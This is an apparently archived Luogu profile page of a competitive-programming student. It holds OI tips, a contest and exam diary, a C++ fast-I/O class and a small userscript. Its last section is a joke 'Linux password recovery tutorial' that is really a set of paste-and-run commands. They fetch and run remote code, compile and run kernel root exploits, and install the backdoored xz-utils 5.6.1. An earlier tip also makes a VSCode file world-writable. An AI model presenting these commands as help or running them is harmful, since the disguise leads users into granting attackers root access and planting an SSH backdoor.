跳到正文

ArHanXing

550150

我再也不信 CCF 的大样例了

这是 2026年11月11日 存档的第 2 版,不是当前版本。查看当前版本

资料、奖项与版本

资料

编号
550150
抓取

奖项

2022 CSP-J
一等奖

版本

  1. v3当前
  2. v2
  3. v1

CCF 程序设计能力 (仅供参考)

  1. 任何情况下交代码都要注释掉 cerr。即使什么也不输出也会T掉。
  2. 分块的时候,使用0-indexed一定要注意:
  • pushdown
  • 建块做 lp,rp时
  • 查询时给出的l,r一定要 -1
  • rp=[(i+1)∗B−1],n−1minrp=[(i+1)*B-1],n-1_{min}
  1. 还是不要划水太多吧。
  2. LemonLime SPJ评测,路径是相对于 /data/的。 比如flandre/spj

大事寄(自zysz之后)

  • 25 9.17 AC300(其中超过一半是没营养的红题)。以后不能写红的。
  • 25 10.20 橙名(SCP-S2025 128pts)
  • 25 11.29 NOIP2025 70pts 位居机房倒二。彻底回归文化课对线生活。
  • whk考了rk163,感谢出题人把我当柜子整。
  • 25 12.24 回绿。
  • 26 1.30 whk期末寄了,只能希望于OI乐。
  • 26 1.31 MXOI2026寄。
  • 26 2.2 whk考了rk77,惨遭压力
  • 26 3.7 whk考了rk300 。。。
  • 26 4.17 打卡200d寄
  • 26 4.20 回橙(MX-J组和一场div2,打得贼拉)
  • 26 5.3 whk又考了230,难道我回不去了吗
  • 26 5.13 首紫/首Ynoi 『纵使日薄西山』
  • 26 6.15 whk又考了400

我真的要思考我是否对得起我的高考

  • 26 7.10 whk又考了350
  • 26 10.7 whk又考了305
  • 26 10.26 回绿(太久没比赛了,卡在169pts)

用户卡片

这当然不是即时更新的

部分算法/DS可视化

pb_ds小讲

可视化手玩图

NOI大纲2025

RP导论

工具箱

洛谷常见颜色RGB值

洛谷老黄历

EXLG直装

快读快写

C++
#include <cstdio>
#include <cstring>
#include <type_traits>

class FastIO {
private:
    static constexpr int BUFFER_SIZE = 1 << 20;// 1MB 缓冲区
    char inbuf[BUFFER_SIZE], outbuf[BUFFER_SIZE];
    char *in_ptr, *in_end;
    char *out_ptr;
    bool has_next;// 是否还有未读数据
    void load() {
        int len = fread(inbuf, 1, BUFFER_SIZE, stdin);
        in_ptr = inbuf;
        in_end = inbuf + len;
        if (len < BUFFER_SIZE) has_next = false;
    }
    void flush() {
        if (out_ptr != outbuf) {
            fwrite(outbuf, 1, out_ptr - outbuf, stdout);
            out_ptr = outbuf;
        }
    }
    inline void write_char(char c) {
        if (out_ptr == outbuf + BUFFER_SIZE) flush();
        *out_ptr++ = c;
    }
public:
    FastIO() : in_ptr(inbuf), in_end(inbuf), out_ptr(outbuf), has_next(true) {
        load();
    }
    ~FastIO() { flush(); }
    // 读取单个字符(供内部使用,不推荐外部直接调用)
    char get_char() {
        if (in_ptr >= in_end) {
            if (!has_next) return '\0';
            load();
            if (in_ptr >= in_end) return '\0';
        }
        return *in_ptr++;
    }
    // 判断是否读到文件末尾
    bool eof() const { return !has_next && in_ptr >= in_end; }
    // 整数读取(模板支持所有有符号/无符号整数,包括 __int128)
    template<typename T>
    FastIO& operator>>(T& x) {
        static_assert(std::is_integral<T>::value, "Only integral types are supported");
        x = 0;
        bool neg = false;
        char c = get_char();
        // 跳过空白字符(空格、换行、制表等)
        while (c <= ' ' && c != '\0') c = get_char();
        if (c == '-') {
            neg = true;
            c = get_char();
        }
        while (c >= '0' && c <= '9') {
            x = x * 10 + (c - '0');
            c = get_char();
        }
        if (neg) x = -x;
        return *this;
    }
    // 整数输出(模板支持所有有符号/无符号整数,包括 __int128)
    template<typename T>
    FastIO& operator<<(T x) {
        static_assert(std::is_integral<T>::value, "Only integral types are supported");
        if (x == 0) {
            write_char('0');
            return *this;
        }
        if (x < 0) {
            write_char('-');
            x = -x;
        }
        char buf[40];// 足够存储 __int128 的十进制表示(最多39位)
        int idx = 0;
        while (x) {
            buf[idx++] = '0' + (x % 10);
            x /= 10;
        }
        while (idx--) write_char(buf[idx]);
        return *this;
    }
    // 输出字符
    FastIO& operator<<(char c) {
        write_char(c);
        return *this;
    }
    // 输出字符串
    FastIO& operator<<(const char* s) {
        while (*s) write_char(*s++);
        return *this;
    }
};

膜拜机房dalao合集

2027 届

(这里有一个入的头像是空的 @_0x3C17_ or @echodelta)

2028 届

2029 届

喵喵班 2028 届

搬运的一个js

JavaScript
// ==UserScript==
// @name         显示洛谷个人介绍
// @namespace    https://www.luogu.com.cn/user/1510406
// @version      1.0
// @description  显示由于“系统维护”被隐藏的洛谷个人介绍
// @author       FlowerRed
// @match        https://www.luogu.com.cn/user/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
    function doWork() {
        let a = document.querySelector('div[style*="background-color: rgb(255, 235, 236)"]');
        if (a) a.remove();
        let b = document.querySelector('div.introduction.marked[style*="display: none"]');
        if (b) b.style.display = '';
    }
    let ob = new MutationObserver(doWork);
    ob.observe(document.body, {childList: true, subtree: true});
    doWork();
})();

Linux 下 VSCode 的 code-glow 权限修复workaround

cd /usr/share/code/resources/app/out/vs/code/electron-browser/workbench && sudo chmod a+rwx ./workbench.html


  1. Linux 找回密码教程,建议收藏!
Bash
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码
  1. 你的 Linux 密码又忘了? 没关系,这里还有一个新的! git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

  2. 不想再忘记密码了? 我们有专业的黑客团队帮您运维服务器和保管密码! 项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1

Bash
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh
  1. 容易忘记密码的有福了,每天都有新办法! https://ze3tar.github.io/post-zcrx.html

插入一个支持ZCRX的高端网卡,让它down掉,然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可

  1. 什么,你买不起高端网卡?那试试这个吧! git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp

  2. 听说您的机房不允许ssh外连,只能通过KVM物理访问服务器? 没关系,我们的专业黑客团队也可以通过nginx帮助运维您的服务器!

  3. 内核版本太高,之前的办法都失效了?没关系,技术也在迭代。

git clone https://github.com/v12-security/pocs.git && cd pocs/pintheft && make && ./pwnt